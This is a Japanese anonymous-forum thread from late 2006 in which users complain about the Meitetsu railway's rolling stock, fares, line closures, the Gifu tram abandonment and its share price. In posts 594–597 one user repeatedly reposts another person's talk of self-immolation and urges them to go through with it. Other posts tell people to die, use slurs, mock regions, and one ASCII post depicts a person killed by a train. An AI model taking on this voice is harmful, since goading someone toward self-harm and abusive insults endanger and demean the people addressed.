582 :名無し野電車区:2006/11/26(日) 15:22:40 ID:k1TmYyaQ
  _____________
  |                   /| ガチャ
  |  /⌒i             / |
  |-/`-イ────────-イ  |
   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄

  _____________
  |__/⌒i__________/|    >>581
  | '`-イ ヽリ─| -・=-H -・=-|!/⌒ |    それ以前に>>568>>576に対する
  |ヽ ノ     `ー─' |/ ̄ ̄i___ノ\   名誉毀損で訴えますので・・・w
   ̄ ̄ ̄ ̄ ̄ ̄ ̄/ 慰謝料    \  
           /    請求書     \  よろしくどうぞ・・・w

583 :パトラッシュ ◆6jkJQO2fyY :2006/11/26(日) 17:51:20 ID:JE27tIYc
>>582
あははははw

ところでアメリカのセクシャルハラスメントではいくら払ったのw

584 :名無し野電車区:2006/11/27(月) 17:58:02 ID:t3d1TTkC
>>582
ところで、>>581に支払能力がないと判断された場合どうする?
マグロ漁船もこれから削減されて人が余ってくだろうし臓器売買なんて日本じゃ不可能だろ。

585 :名無し野電車区:2006/11/27(月) 18:10:31 ID:8SjCJP1F
早く2扉車(一般)を潰してくれ。
Pが2009年なんて遅い、もっと早くやれ。
1000系廃車なんて勿体無い、P・77を真っ先にやるべきだ。

まあ、どうしょうもないが・・・。

586 :名無し野電車区:2006/11/27(月) 22:15:30 ID:B2GiNbsL
57 53は?

587 :名無し野電車区:2006/11/27(月) 22:52:07 ID:jBMWGPbP
57 53も勿論、早く潰せ。
53の方は潰すのは決定してるが、
57はどうだか解らん。

588 :名無し野電車区:2006/11/27(月) 23:17:04 ID:3AbJw0+q
>>585
Pはブレーキ臭がしない名車だ、形状だけで差別せんでくれ、潰すな。

589 :名無し野電車区:2006/11/28(火) 00:49:21 ID:ejJmKekH
名車パノ様、パノスパ様、53様、57様、77様、71様が消えたら名鉄には何が残るというんだ。
μSkyや2200は新しいうちは良いがそのうち飽きられ、ポストパノ様には絶対になれないだろうし

早く方針転換して最新型パノ様タイプを出してくれよな

590 :名無し野電車区:2006/11/28(火) 01:01:59 ID:XZoX8wim
アンチといっても、53とか57で通じちゃうんですよね。

591 :名無し野電車区:2006/11/28(火) 01:15:05 ID:axzKeLRw
>>589
何も残らん

接客最低東武とサービス最低東急と運賃高杉伊豆急と独裁西武とノロノロ小田急と無個性京王など各私鉄の悪い点だけがが融合した最悪企業になる

592 :名無し野電車区:2006/11/28(火) 01:18:57 ID:nuTH8Cbi
>>589

どっかの中古でも導入するか?

迷鉄は過去に大手他社の中古を導入した実績があるし・・・・・

関東大手から出物を物色して、ワンマン改造後導入 あれぇこれは何処かの地方鉄道と同じか?
まぁ、そこまで落ちぶれたワケだ(w

593 :名無し野電車区:2006/11/28(火) 01:21:15 ID:t9owleqv
>>591のような基地外が残るだけ

594 :名無し野電車区:2006/11/28(火) 01:23:20 ID:t9owleqv
442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

早く実行しろよ ID:4WdMH2Cd

595 :ID:4WdMH2Cdは早く言ったことを実行しろ:2006/11/28(火) 01:24:51 ID:t9owleqv
442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

早く実行しろよ ID:4WdMH2Cd442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

596 :ID:4WdMH2Cdは早く言ったことを実行しろ:2006/11/28(火) 01:25:36 ID:t9owleqv
442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

597 :ID:4WdMH2Cdは早く言ったことを実行しろ:2006/11/28(火) 01:26:15 ID:t9owleqv
442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。

442 :名無し野電車区 :2006/11/11(土) 22:28:42 ID:4WdMH2Cd
>>438
もし俺が消えるなら、焼身という形で抗議するつもりしかないがね。

446 :名無し野電車区 :2006/11/12(日) 02:57:27 ID:+QwtxMyJ
>>445
焼身と言ったのは、まったくのデタラメではない。
○鉄に対する、そういう思いも、元からちょっぴりあるかもしれない
ということだけを言っておく。


598 :名無し野電車区:2006/11/28(火) 02:48:47 ID:VhT3Lo7z
本当に西鉄より下になったな 大手私鉄とは言え西鉄のメインはバスで鉄道はおまけ程度
それでも一部廃線しただけであとはバスと住み分けをしてJR九州とも良きライバル関係保っていてきちんと需要があるのに鉄道がメインの名鉄、しかも大手がこのザマか

名古屋って福岡よりショボかったっけ?

599 :名無し野電車区:2006/11/28(火) 03:21:32 ID:ejJmKekH
12/1鵜沼緑苑団地線、明治村線、リトルワールド線、長者町団地循環線を名鉄バスからグループ子会社の岐阜バスに路線譲渡移管だってね
明治村やリトルワールドは愛知なのに岐阜バスの路線になるのかw


600 :名無し野電車区:2006/11/28(火) 09:16:04 ID:AX8WqZzA
600GETなら名鉄全線廃線

601 :名無し野電車区:2006/11/28(火) 10:56:29 ID:N4Vv2JzO
>>589
2扉転換車が無くなっても3扉セミ転換車があるので
まだマシ。
東西の大手民鉄を見ても2扉転換車なんて
ごく少数。

名鉄は2扉車を淘汰して3扉車に統一していく
方針なので、いまさら2扉車が消えたらどうだとか
言われてもどうしょうもない。

マニアなら今のうちに乗るなり撮るなりして楽しむしかない。

602 :名無し野電車区:2006/11/28(火) 11:17:02 ID:j/Gmwb2i
>>599三重交通も愛知県内完結で路線ありますが。

603 :名無し野電車区:2006/11/28(火) 12:06:14 ID:T6wSSF2k
50号系統、一号線経由 かの里冨田病院前行き 
だね

604 :名無し野電車区:2006/11/28(火) 17:18:04 ID:jIPlj3eX
RJに相手もされないな

605 :名無し野電車区:2006/11/28(火) 22:02:24 ID:FEfrnUBr
俺は鉄道ファンでも何でもないし、名鉄に乗ることもたまにしかない。

でも一つだけお願い! なんでもいいから、株価上げてくれぇぇぇぇぇ!

606 :名無し野電車区:2006/11/28(火) 22:27:50 ID:bxBlTv+J
株価はあんまり関係ないと思うけど、全国共通にイメージがいいとは言えない
鉄道会社の株価はやっぱり低いよね。

名鉄はバブル時にシャシャりすぎて、弾けた後の負を未だに背負っている。
だからパノラマ車両は作れない。

東海地方は景気がいいと言うけど、決してそうではないと思う。
愛知でも堕ちている企業は堕ちているし、上がっている企業は上がっている。
名鉄だけじゃないだろ? 東海地方でこの時期に倒産した企業は。
だからね、今の名鉄は負けている部類に入るのだよ。
経営陣も必死になって改善策を練っているけど、明らかに間違った方向に
向かっている気がしてならない。
企業は作業能率の向上に努めるのは当然のことである。
しかし、それは鉄道会社には向いていない改善策なのではないかと思う。
カーテンを無くすなどの、明らかに地域密着を無視した経営方針。
セントレアがあるから大丈夫だって?
それにだけ頼るつもり? それでは南海の二の舞にすぎない…。

607 :名無し野電車区:2006/11/28(火) 22:28:34 ID:bxBlTv+J
やべぇwwwwww 倒産したことにしちゃったwwwwwwwww

608 :名無し野電車区:2006/11/28(火) 22:32:36 ID:t9owleqv
つか、会社よりヲタの方が終わってる。

609 :名無し野電車区:2006/11/29(水) 07:28:31 ID:45ZhCIZw
>>608
特に本スレの連中もね(笑)

610 :名無し野電車区:2006/11/29(水) 21:56:32 ID:kx3PzVIj
>>609
お前の事だ

611 :名無し野電車区:2006/11/29(水) 22:29:55 ID:gQfiVlqL
>>608
悪質ヲタの代表である特定旅客がいる時点で終わってるだろ

612 :名無し野電車区:2006/11/30(木) 00:00:26 ID:AUqTr4Zu
>>605
名鉄の株、持ってるの?
ご愁傷様です。
もっとも、株主優待使いたくて持ってるなら、株価は気にしない方がいい。

613 :名無し野電車区:2006/11/30(木) 07:33:29 ID:sd7eyFeV
>>610
社畜乙

614 :名無し野電車区:2006/12/01(金) 01:37:09 ID:Yjlewvwk
>>605
もしまだ名鉄株を保有しているのであれば一刻も早く売り抜く事をお勧めする。

615 :605:2006/12/01(金) 18:37:06 ID:pGSuPzwh
まだ株保有してます。初心者でバカだったから高いときに買っちゃって♪
早く見切ればよかったんだけどね。

まぁ、ちょっとしか持ってないし、その金がないと困るわけでもないから、
長ーーーーーーーい目で見ようかと。

名鉄から今の土くさーいイメージがなくなるときまでね。

なんて自分に言い聞かせてみる(^∀^)


616 :名無し野電車区:2006/12/01(金) 22:36:04 ID:Yjlewvwk
>>615
グダグダ言い訳にならない言い訳言わずにサッサと売らんかァッ!!!!

617 :名無し野電車区:2006/12/02(土) 07:01:24 ID:cBsvt+r7
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618 :名無し野電車区:2006/12/02(土) 07:03:09 ID:cBsvt+r7
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619 :名無し野電車区:2006/12/02(土) 16:25:20 ID:WijNHuf8
社員必死だな

620 :名無し野電車区:2006/12/02(土) 19:55:48 ID:/rkdbnRi
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪
(・∀・)ニヤニヤ♪♪♪♪♪ (・∀・)ニヤニヤ♪♪♪♪♪


621 :名無し野電車区:2006/12/02(土) 20:08:09 ID:/rkdbnRi
□□□□|  ☆
□□□□| / ☆ ドンガラガッシャーン!!!
□□□□|//
□□□□/ ◇   ◇
[]Σ{亘亘][亘亘][亘亘]
   ゚゚  ゚゚ ゚゚  ゚゚ ゚゚  ゚゚
「あっ、もしもし?あたしー。今ねー・・」

ギギギギギャイーーーンギャリギャリギャリンッ
ドカシッゴボッグガガガガガガボガボ
ガココココココバキバキバキャキャキャ
ガコッガコッガコッガコッグゴゴゴゴゴ
グモッチュイーーンボゴゴゴゴゴ
プチッ

ツー、ツー、ツー、ツー、ツー


622 :名無し野電車区:2006/12/02(土) 20:13:51 ID:/rkdbnRi
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623 :名無し野電車区:2006/12/02(土) 23:01:13 ID:P3glSIPf
621
これはまずいだろ!

624 :名無し野電車区:2006/12/03(日) 23:18:10 ID:JMBNy7m8
age

625 :名無し野電車区:2006/12/04(月) 15:31:03 ID:Cci6gy36
カオスレあげ

626 :名無し野電車区:2006/12/04(月) 15:40:33 ID:dslZ9k/n
荒れてるな。
本スレの住人と名鉄社員がだいぶ頑張っているようで。

627 :名無し野電車区:2006/12/04(月) 22:47:07 ID:RsA+DwBN
名鉄に乗りたくなくても乗らなくては行けない現実

628 :名無し野電車区:2006/12/04(月) 23:48:10 ID:RBBqJNcY
名鉄グループは使いたくなくても、使わなければならないという現実

629 :名無し野電車区:2006/12/05(火) 00:01:07 ID:Zdi05YnZ
おかげさまで、岐阜ではかなり「使いたくなければ、使わなくてもいい」状態になってきました。
名古屋まではJR、市内の買い物は郊外のショッピングセンターへ車でお買い物です。

630 :名無し野電車区:2006/12/05(火) 00:07:03 ID:sjjHoOqG
そもそも岐阜自体が(r

631 :名無し野電車区:2006/12/05(火) 00:13:54 ID:qLtUetUK
岐阜なんて何もない過疎地帯だよ


最低の県

632 :名無し野電車区:2006/12/05(火) 00:15:24 ID:lLotxfi9
岐阜?灯油の代わりに札束燃やす県だろ?

633 :名無し野電車区:2006/12/05(火) 00:18:52 ID:ZLLf5RiL
JRの駅まで行く岐阜バスや駅周辺の駐車場が名鉄協商とかで…

634 :名無し野電車区:2006/12/05(火) 00:30:10 ID:qLtUetUK
あの馬鹿市長


今更路面電車やってもいいってどういう都合の良さだ?
廃止を推したのは市長だと言うのに

635 :名無し野電車区:2006/12/05(火) 07:39:25 ID:aR62u19P
クソ市長、見下した態度だな
復活させたかったら自分でなんとかしろや

636 :名無し野電車区:2006/12/05(火) 13:46:50 ID:Di8SGPJ4
岐阜は京都にも吸収されつつ現実(ex.立命館)
残るのは底辺労働者と、DQNガキだけ

637 :名無し野電車区:2006/12/05(火) 13:52:50 ID:208vydbF
隣駅まで切符買って車窓を楽しもうと思うんだが改札出なかったら、どこまで行っても おk?教えてエロイ人

638 :名無し野電車区:2006/12/05(火) 14:16:34 ID:UmkdSF9X
>>637
煙管

639 :名無し野電車区:2006/12/05(火) 14:47:13 ID:208vydbF
>>638
dクスorz


640 :名無し野電車区:2006/12/05(火) 15:20:21 ID:APKobGO5
関東人の漏れがもう岐阜に逝くことはないでつ
本当にありがとうございました

641 :名無し野電車区:2006/12/05(火) 17:42:37 ID:dOqHxzIi
今度の正月に名古屋に行くが近鉄と地下鉄と倒壊、それぞれのフリーきっぷで回る予定。
名鉄?乗って欲しけりゃワイド33SUNをカード式にして復活させろや!!!!

642 :名無し野電車区:2006/12/05(火) 18:01:27 ID:BitWEHg9
>634-635

kwsk

643 :名無し野電車区:2006/12/05(火) 22:12:04 ID:NrRSjKW7
>>640
オイラは仕事の関係で可児に行かなきゃいけないんだよお!


644 :名無し野電車区:2006/12/05(火) 22:25:39 ID:qLtUetUK
>>642

名鉄が路線廃止を表明

地元が反対(特に美濃市長・関市長・大野町長)

岡山(?)にある企業が岐阜に支社を設置し企業が運転・管理・整備を行い、自治体が施設を保有する形で存続を思考

名鉄と自治体の協議が難航する(名鉄の示した金が自治体が払うには高すぎる・名鉄「施設を買うなら80億円→20億円を払え!」)

岐阜市長が「赤字が酷い、もう無理だ、諦めろ」と宣言し企業撤退

フランスからコネックス社襲来(ライトレール案?)

具体化せず

路面電車廃止、しかし美濃市長・関市長・大野町長諦めずライトレール案を主張↓
施設撤去が進む中、富山ライトレール開業、地元住民に喜ばれる

美濃市長・関市長・大野町長、岐阜市長に反発

岐阜市長「やってもいいですよ」と発言

645 :642:2006/12/05(火) 22:40:23 ID:BitWEHg9
>644

ありがとう。コネックスあぼんぬ以降が判らなかった。

> 美濃市長・関市長・大野町長、岐阜市長に反発
> ↓
> 岐阜市長「やってもいいですよ」と発言

この辺の市長の無節操ぶりって、ネットで読める?

646 :名無し野電車区:2006/12/05(火) 22:51:55 ID:qLtUetUK
>>645
ちょっと判らない
俺も岐阜市長の無節操は半分近くが鉄道2板で聞いた話だし

647 :名無し野電車区:2006/12/05(火) 23:40:38 ID:VE3dxS+p
>>637

いわゆるループ特例使いなはれ・・・・

これなら今は合法・・・・・

648 :名無し野電車区:2006/12/05(火) 23:54:29 ID:ZLLf5RiL
マーゴのオーナー会社の計画はどうなってるの?

新岐阜駅前や徹明町のレールは着々と撤去されてるから今更やります言っても無理そうだけど

649 :名無し野電車区:2006/12/06(水) 17:48:11 ID:2lMbzhsd
岐阜ハジマタ(^o^)

650 :名無し野電車区:2006/12/06(水) 23:34:05 ID:Yl9zahO1
いくら叫ぼうが今更!

651 :名無し野電車区:2006/12/07(木) 15:42:32 ID:MpM3DHdS
何を今sら

652 :名無し野電車区:2006/12/07(木) 18:43:19 ID:T0onJzZV
岐阜は駅前が終わってる。商業施設が撤退して全部マンション。
駅前は完全に名古屋のベッドタウン。

653 :名無し野電車区:2006/12/07(木) 23:00:36 ID:N9Tm+bk1
名鉄グループの岐阜のグランドホテルは洋食部が食中毒出し、
今度は火災で終わっとる
早く岐阜から名鉄グループ撤退してくれないかな

654 :名無し野電車区:2006/12/07(木) 23:05:25 ID:4ded3MK/
名鉄名古屋本線停車駅変更のご案内

特急

新岐阜⇒新一宮⇒名鉄名古屋⇒金山⇒神宮前(⇒中部国際空港)
⇒東岡崎⇒豊橋


655 :名無し野電車区:2006/12/07(木) 23:45:19 ID:gLxP0v8y
>>653
昔は1流だったけどね。

656 :名無し野電車区:2006/12/08(金) 00:06:45 ID:Z+rwDFKs
>>654
じゃ快速特急は?

657 :名無し野電車区:2006/12/08(金) 00:19:26 ID:5wGMbEAa
>>656
新岐阜→新一宮→名鉄名古屋→金山→神宮前→豊橋

658 :名無し野電車区:2006/12/08(金) 12:22:59 ID:RJw+jsuC
>>654
新岐阜→吉田

659 :名無し野電車区:2006/12/08(金) 13:00:32 ID:jHUTl9jy
割れ目電車2000系不人気

660 :名無し野電車区:2006/12/09(土) 11:06:09 ID:K1f9kzPu
車両の人気もどんどん低迷



661 :名無し野電車区:2006/12/09(土) 23:53:46 ID:4zCNyhzA
継ぎ接ぎの丸見えの銀色ステンレス車両やめて欲しいな。阪急みたいにアルミ製にして、伝統のカラーを捨てんでほしいわ。

662 :名無し野電車区:2006/12/10(日) 00:18:23 ID:RTY9uUbj
京急もアルミ車両あるけど、銀は見せていない


663 :名無し野電車区:2006/12/10(日) 01:09:20 ID:uYnHB9W1
アルマイトやSUSは側面衝突に弱々ちぃそうだから、やっぱり鋼製のボディに深紅の塗装がいいなぁ〜

特急車はμSky以外はパノスパ塗装がいいし

664 :名無し野電車区:2006/12/10(日) 02:51:44 ID:7iJBWvz2
どうせ強度無視なら、プラスチックでもいいんぢゃない?

665 :名無し野電車区:2006/12/10(日) 11:54:32 ID:AhoCy3LX
単なる田舎の運賃の高いローカル私鉄

666 :名無し野電車区:2006/12/10(日) 18:57:55 ID:FwXyEPjM
ジミーちゃん発見!

667 :名無し野電車区:2006/12/10(日) 19:08:21 ID:Xfjnip+Q
名鉄沿線外の者ですが
新岐阜百貨店の後継テナントはどうなりました?


668 :名無し野電車区:2006/12/10(日) 19:17:23 ID:UhhiybSU
運賃でも、速さでも、JRに負けてるから、
もう、名古屋本線の岐阜口廃止して、
他線の経営に集中するしかなくない?


669 :名無し野電車区:2006/12/10(日) 21:51:02 ID:UuC84q+h
>>668
ミュースカイ以外の全特廃止や瀬戸、豊田線の加算額廃止、減額など
他線の経営でどうにかしようという動きはあるな。


670 :名無し野電車区:2006/12/11(月) 01:50:19 ID:TwXMQ6Wt
岐阜口はもう、岐阜口発μSkyにも一般車つけて、
一特快速特急空港行きにしちゃえばいいんじゃね

671 :関東人:2006/12/11(月) 02:22:59 ID:iRSfH8NL
かつては名鉄の車輛や路線に乗り鉄の愉しみが
あったので、春夏秋冬の休みに必ず乗りに行った。

2003年以降、車輛も路線も魅力が無くなったので
全く乗りに行かなくなった。

勝手に潰れてください。

672 :関西人:2006/12/11(月) 16:43:47 ID:paL3bwT5
ワイはパノラマカーが絶滅した時点で見放しますわ。



673 :名無し野電車区:2006/12/11(月) 18:10:54 ID:aShSBv0x
>>671-672
オレ様はこの夏で見限った!!
正月は名古屋地下鉄と東海のフリーで回る事にしてる。

674 :名無し野電車区:2006/12/12(火) 01:28:47 ID:+m4GFtQs
青オシメ2000系不人気


赤オシメ2200系不人気


黒オムツ1600系不人気


675 :名無し野電車区:2006/12/13(水) 00:37:32 ID:Ntuk4mjY
いっぺん流し台木刀で殴ってみたいわ。きれいにへっこむやろなぁ

676 :名無し野電車区:2006/12/13(水) 06:56:51 ID:xTFqYMIC
何言ってるの?
殴らなくても甲種の時からベコベコじゃん

677 :名無し野電車区:2006/12/13(水) 14:25:48 ID:/uC35Hpj
株主優待乗車証(パス)でμ定期は買えないんだよね?

678 :名無し野電車区:2006/12/13(水) 15:32:59 ID:heb248oU
>>673
今年の夏まで我慢していたなんて、忍耐強いですね。
たいていの人達が、一年半以上前に見限っているというのに。

679 :名無し野電車区:2006/12/13(水) 19:42:49 ID:thgta52W
近鉄と同じレール幅にすれば相互乗り入れも出来たのに
名鉄にはネットワークという文字がないのか 完全に独立してるし

680 :名無し野電車区:2006/12/13(水) 20:13:41 ID:MhCxN+Km
昔は同じ幅でしたが何か?

681 :名無し野電車区:2006/12/13(水) 20:14:13 ID:Bzd43li7
何で幅変えたの?

682 :名無し野電車区:2006/12/13(水) 20:18:51 ID:cwx4wPQ2
2扉転換クロスが消滅したら
見限る。
まだP車、77,53,57が健在だから
名鉄詣でする。

683 :名無し野電車区:2006/12/13(水) 20:24:43 ID:MhCxN+Km
ビスタカーの名古屋直通の際、大阪線と規格を合わせる為に
改軌された。

684 :ならしの電車区:2006/12/13(水) 20:26:46 ID:15qVjKm5
>>681
近鉄が、大阪方面からの乗り入れを重視し、
改軌した経緯がある。
改軌される前は、近鉄と名鉄は相互乗り入れしていた。近鉄から豊川稲荷までの
直通列車が運転されていたという。

685 :名無し野電車区:2006/12/13(水) 21:59:02 ID:xTFqYMIC
そういや名古屋線改軌って伊勢湾台風が絡んでなかったっけ?

686 :名無し野電車区:2006/12/13(水) 22:42:18 ID:ZgvMv+aB
新車がオールロング又は今使っている駅がさらに冷遇されたら見限ることにする

687 :名無し野電車区:2006/12/13(水) 22:51:58 ID:qzx2kQ06
>>686
いや次回の3150はオールロングだから

688 :名無し野電車区:2006/12/13(水) 23:35:56 ID:xTFqYMIC
>>687
以前から何度か話題になってるけど、ソースは?
粗悪設計、カーテンレス、スプリングレスシート、赤、青、緑、ピンク…色彩が滅茶苦茶な車内
現行でも相当酷いのに、更に追い討ちをかけるか興味津々だわ

689 :名無し野電車区:2006/12/13(水) 23:56:11 ID:abRwDfgR
>>687-688
オールロングの3500・3700・3100では座席が少ないと苦情が来て、
300の一部転クロで成功したから新3300や3150、2200一般車であの形式を採用したのに、
オールロングにまたしたら本埜木阿弥だがね

東海は313とかで転クロ化を進めたりしているからその兼合いもあるし

690 :名無し野電車区:2006/12/14(木) 01:18:11 ID:ngoV7hA7
>>685

元から計画されていた、災害で計画を早めただけ
近鉄名古屋に直通時代の遺構(穴)が残っているハズ(埋められていないと思うけど)

691 :名無し野電車区:2006/12/14(木) 01:25:01 ID:3+mvL4e4
>>678
>>673だが、それは3・3・SUNがまだあったから。
あれがなくなって乗り得感満載のきっぷがなくなったから見放したんだよ!
まだ発売されてたらズルズル引き摺って名鉄地獄から抜け出せなくなってるかもしれなかったのだ!!

692 :名無し野電車区:2006/12/14(木) 02:52:50 ID:8L46fzrq
名鉄は運賃高すぎだ。
距離/運賃で比較すると、名鉄は東京や大阪の2倍位はする。
だから電車で行こうか、車で行こうかと
考える間もなく車で行ってしまう。
結局、最小限しか電車を利用しなくなってしまう。

693 :名無し野電車区:2006/12/14(木) 05:22:50 ID:EpYOdAZQ
クルマもナビやらVICSやら安全運転支援装置やらついて便利になってるしなぁ〜

通勤や通学には鉄道を駐車場などの関係で使ってる層もいるが、
定期外運賃は高いし、時間など自由もきかないから富裕層はレジャーなどの際にはマイカー化加速で、
年金暮らしでカネがないとか、身体的衰えで免許更新が出来ないなどの理由でマイカー保有が出来ない、爺さん婆さんや、免許が取れない中高生などが定期外収入で利用する層か
しかし、団塊の世代も大量退職と少子化の加速で定期運賃収入も将来的には減るだよね


694 :名無し野電車区:2006/12/14(木) 06:33:43 ID:av3GlLUi
なんだ、アンチ連中は乗車ルールも知らずに叩いてんのか。
聞いたこっちがばかだった。
そりゃあ、程度が悪いと言われるわけだ。
オマチカネの不祥事でも流してやろうかと思ったが止めた。
よかったね、名支のK田君。

695 :名無し野電車区:2006/12/14(木) 11:34:36 ID:w9aVWqk2
>>693
名鉄終ったな

696 :名無し野電車区:2006/12/15(金) 12:30:47 ID:ubR9cUk8
16日を待たず12日限りで田神駅を無人君にした名鉄は氏ね。

697 :名無し野電車区:2006/12/17(日) 13:05:20 ID:laBVxF0u
環境破壊でみんな氏ね。

698 :名無し野電車区:2006/12/17(日) 13:07:58 ID:laBVxF0u
DQN名古屋人。

鉄道は高いし、車ばっかりだし

DQN名鉄と一緒に氏ね

環境破壊でみんな氏ね



699 :味美廃止:2006/12/17(日) 13:18:05 ID:X/kn+M2n
味美廃止

700 :名無し野電車区:2006/12/17(日) 13:20:15 ID:laBVxF0u
小牧線廃止

701 :名無し野電車区:2006/12/17(日) 15:03:51 ID:deSczPcf
小牧線スレ廃止

702 :名無し野電車区:2006/12/17(日) 16:22:38 ID:zrVNqgej
つ 利用者激減
つ 路線廃止連発
つ 先見性の無い新車導入(1600系)
つ 自社のシンボルを否定してバリアフリーを叫びパノラマスーパー追放
つ 展望席廃止

703 :名無し野電車区:2006/12/17(日) 16:28:17 ID:laBVxF0u
利用者激減か・・・

それなら、また値上げか?

昔の名鉄は良かった・・・

704 :名無し野電車区:2006/12/17(日) 20:30:24 ID:FHWCE1B8














705 :名無しの電車区:2006/12/17(日) 21:54:47 ID:9w2KP9gy
しっかし、全車指定μがなくなると、西尾線特急は廃止確定だな。
せめて名古屋直通は残してくれ。
1時間に普通2本、快急2本でよい。

706 :名無し野電車区:2006/12/17(日) 22:03:21 ID:Ro8gCGXX
>>705
考え得る最悪のシナリオとして本線系統充実と引き換えに
西尾蒲郡線は全列車普通、新安城〜西尾〜蒲郡で分断運転。
本数減と接続無視でわざと不便にして安楽死を企んでるに違いない。

707 :名無し野電車区:2006/12/17(日) 22:22:21 ID:FVlxdTve
>>706
西尾以南は安楽死はありそうだ・・・
できればすぐにでも廃止できれば・・・<経営陣

名鉄経営陣っていつ変わったの?
現経営陣はコスト圧縮がメインテーマなのか?
もし外部の人間でそれを目的に招聘されたとなれば、愛着もないしパノラマブランド維持させる努力などしないだろうし・・・
ミュースカイブランドが作れたから良いかw

708 :名無し野電車区:2006/12/17(日) 23:11:40 ID:YQortUwd
>>707

安楽死ねぇ 知多新線なんかもヤバイか?
JNRだって建設後10年少々であぼ〜んした線区もあるし、
この先劇的な収支改善不能な線区は粛清あるのみと?

709 :名無し野電車区:2006/12/17(日) 23:31:25 ID:FVlxdTve
>この先劇的な収支改善不能な線区は粛清あるのみと?
それなら廃止しかない罠。。。

道楽経営で赤字路線を運営しているのであるまいて・・・
徹底的なコスト圧縮傾向にある経営陣が黙って見ている事はなさそうな

710 :名無し野電車区:2006/12/18(月) 00:14:14 ID:aOn+F+jv
コスト圧縮でなく
廃止がメインテーマ

711 :名無し野電車区:2006/12/18(月) 00:19:31 ID:5kXeSxXf
近鉄だって赤字線区抱えながらなんとかやってるのに。
経営のやり方及び努力が足らんのだよ。

712 :名無し野電車区:2006/12/18(月) 01:07:46 ID:5bYV0w+R
>>711
北勢線を三岐と自治体に丸投げしたり伊賀線と養老線も切り離しを打診して決まりかけてますが何か問題でも?

713 :名無し野電車区:2006/12/18(月) 01:18:33 ID:RG7Cb9dN
今年、現社長の甥が総合職で入社。現場実習中だが総スカン喰ってるらしい。
切る必要無いものまで整理する割には、身内には甘いらしい、たいした社長サマだわ。

714 :名無し野電車区:2006/12/18(月) 01:33:14 ID:aOn+F+jv
身内に甘いのはどこも同じ。
当然の成り行き。

715 :名無し野電車区:2006/12/18(月) 02:34:16 ID:D+Jhq1Jz
最高私鉄スレより


75:名無しでGO! :2006/12/01(金) 13:39:56 ID:OQ6qLIif0
【会社】名古屋鉄道
【コメント】車社会の都市構造の中、マイカー利用者に鉄道を利用してもらうための努力ぶりは賞賛に値する。
また、変な差別車両が存在しないのが、さらに良い!



最後の1文以外同意できない

716 :名無し野電車区:2006/12/18(月) 03:41:13 ID:WHJWeUzX
>>715
女性専用車両の事かと。
まあ、アレも基地外を呼び込む元だからな(w

717 :名無し野電車区:2006/12/18(月) 08:40:50 ID:qDkna1N0
豊川在住
昨日は日曜日だったのに豊川線直通急行が回送状態ガラ空きw
JRが飯田線でも名古屋往復きっぷ使えるので客を取られたな
オールロングじゃ車内が閑散すぎてw 客の居ない店舗と同じで寄り付きたくないw

718 :名無し野電車区:2006/12/18(月) 12:34:22 ID:Plg4rHfZ
豊橋から名古屋まで 朝ラッシュ(平日7時台)
名鉄
快特652→743 不戦勝おめ
急行659→801
快特709→803 新快速相手に惨敗wwwww
快特725→819 新快速相手に惨敗wwwww
快急737→837 
